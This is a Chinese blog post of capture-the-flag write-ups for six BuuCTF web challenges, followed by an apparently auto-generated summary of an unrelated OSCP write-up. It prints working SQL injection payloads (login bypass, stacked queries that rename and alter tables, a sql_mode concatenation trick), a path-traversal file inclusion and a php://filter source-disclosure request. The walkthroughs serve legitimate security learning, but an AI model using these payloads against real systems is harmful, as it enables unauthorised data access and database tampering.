记BuuCTF-Writeup

BuuCTF----Web

目录

BuuCTF----Web

 Web:

[极客大挑战 2019]EasySQL

[HCTF 2018]WarmUp ---php--代码审计

[极客大挑战 2019]Havefun

[ACTF2020 新生赛]Include

[强网杯 2019]随便注

[SUCTF 2019]EasySQL

 Web:

[极客大挑战 2019]EasySQL

点开链接获得此界面,看到登录首先想的是SQL,查看源码,没啥特别的东西,于是用SQL万能绕过公式username:1' or 1=1# password:任意字符,这里我用的是1;

点击登录获得flag{23d10072-9981-4574-aec9-bbd32bcc01eb}

[HCTF 2018]WarmUp ---php--代码审计

获取链接,查看源码,提示/source.php

访问source.php:

根据提示访问hint.php

 看到t提示flag在ffffllllaaaagggg中。

对source.php中的代码审计

empty() 函数用于检查一个变量是否为空。checkFile

empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。

is_string() 函数用于检测变量是否是字符串。

emmm::checkFile($_REQUEST['file'])这里将我们的的值传到emmm类里面的checkFile函数

这部分的审计结果就是:flag所在的ffffllllaaaagggg文件就是被执行文件包含的flie,且file得是字符类型的,同时不能为空。

#查看checkfile函数:
public static function checkFile(&$page)//构造函数名,将传入的参数赋给page
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明白名单
            if (! isset($page) || !is_string($page)) {//若page中不包含字符类型
                echo "you can't see it";
                return false;//返回flase
            }

            if (in_array($page, $whitelist)) {//若page是白名单里的元素
                return true;//返回ture
            }

            $_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);//url解码$page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

总的来说这个cehckFile这个函数进行了 3次白名单检测、 2次问好过滤、一次URL解码

构造payload:

url=http://3b1839bf-6f6f-44e8-b2d2-518b83eb33cf.node4.buuoj.cn:81/index.php?file=hint.php?../../../../../ffffllllaaaagggg

获取flag:

[极客大挑战 2019]Havefun

 进入界面查看源码:

既GET一个cat就输出cat,当cat=dog时就会输出Syc{}的字符:

构造payload:

?cat=dog

 看到输出界面: 

获取flag。 

[ACTF2020 新生赛]Include

由链接进入界面

 点击tips

果断点直接文件包含,构造payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

 获得base64加密的源码:

 打开base64解码工具:

获取flag{cfa4610a-c7c5-428c-821f-5a262207ba8d}。

[强网杯 2019]随便注

点开链接,获取界面:

 测试:1、提交1,有回显。

 2、接着测试,构造语句查看文件有几列:

' order by 1;#
' order by 2;#
' order by 3;#

 1、2都正常,到3报错了,说明只有两列。

 这里附上order的用法:SQL ORDER BY 语句 (w3schools.cn)

 3、构造语句,查看有列表详情:

'; show tables;#

 4、查看表中内容:

构造语句:

';show columns from `words`; --+

';show columns from `1919810931114514`; --+

 表words

    

 表1919810931114514

 

5、前几次注入发现随便注入的时候查看的都是words,想着要不交换一下表名,构造语句:

';rename table `words` to `words2`;
';rename table `1919810931114514` to `words`;
';alter table `words` change `flag` `id` varchar(100);
';show colmuns from words;--+
#alter table `需要操作的表名` change `要修改的列名` `修改后的列名` varchar(30)类型

将上列语句依次注入。

6、直接构造语句,或者万能绕过:

' or 1=1;#

获取flag。

[SUCTF 2019]EasySQL

点击链接,得到如下界面:

 没啥想法,先放着。。。

 注入测试:

 1、试试万能绕过语句 

' or 1=1;#

回显:

 2、构造语句读一下数据库:

1;show databases;

回显:

 3、构造语句读列表:

1;show tables;

回显:

 4、构造语句查询flag:

1;select flag from flag;
或
1;cat flag;

回显:

 说明flag字段被过滤了。(不当人?)

5、不会太多SQL语句,放一下?不行,看wp去:

啊哈,非预期酱紫?

*,1

非预期就图一乐!非预期详解见后文--->

回显:

 预期解:

6、用burpsuite,fuzz字典爆破一下,看一下屏蔽字段。

发现有三个不同长度的访问:

1、500字节的,没有回显

 2、733字节的,存在回显:

 3、564字节的,没有回显:

试一下,堆叠注入:上面试过了。。。自己回去看。

看了官方wp,现在有点久远了,给的payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

解读一下:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

  • 关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 "或" 运算符(干获)

  • 关于 sql_mode 更多可以查看这个链接 : MySQL sql_mode 说明

  • 还有就是这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个 || 相当于是将 select 1 和 select flag from flag 的结果拼接在一起

·非预期解惑:

从预期的解来看非预期的

*,1
#可以解释为:
select *,1 ||flag from flag
#等价于:
select *,1 from flag

开心的获取flag:

flag{8763894d-2146-4db6-a749-c6259e92c33d}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值